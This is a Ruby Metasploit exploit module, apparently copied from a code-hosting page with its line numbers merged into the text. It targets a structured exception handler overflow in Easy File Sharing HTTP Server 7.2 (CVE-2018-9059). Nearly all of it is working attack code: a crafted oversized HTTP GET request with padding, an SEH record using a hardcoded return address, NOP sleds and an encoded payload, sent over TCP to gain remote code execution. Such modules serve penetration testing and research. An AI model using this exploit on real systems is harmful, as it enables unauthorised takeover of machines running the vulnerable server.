Path: blob/master/modules/exploits/windows/http/easyfilesharing_seh.rb
28170 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',16'Description' => %q{17This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.18},19'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2018-9059' ],23[ 'EDB', '39008' ],24],25'Privileged' => true,26'Payload' => {27'Space' => 390,28'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",29'StackAdjustment' => -3500,30},31'Platform' => 'win',32'Targets' => [33[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],34],35'DefaultOptions' => {36'RPORT' => 8037},38'DisclosureDate' => '2015-12-02',39'DefaultTarget' => 0,40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)47end4849def print_status(msg = '')50super("#{peer} - #{msg}")51end5253def exploit54connect55print_status("Sending exploit...")56sploit = "GET "57sploit << rand_text_alpha_upper(4061)58sploit << generate_seh_record(target.ret)59sploit << make_nops(19)60sploit << payload.encoded61sploit << make_nops(7)62sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)63sploit << " HTTP/1.0\r\n\r\n"64sock.put(sploit)65print_good("Exploit Sent")66handler67disconnect68end69end707172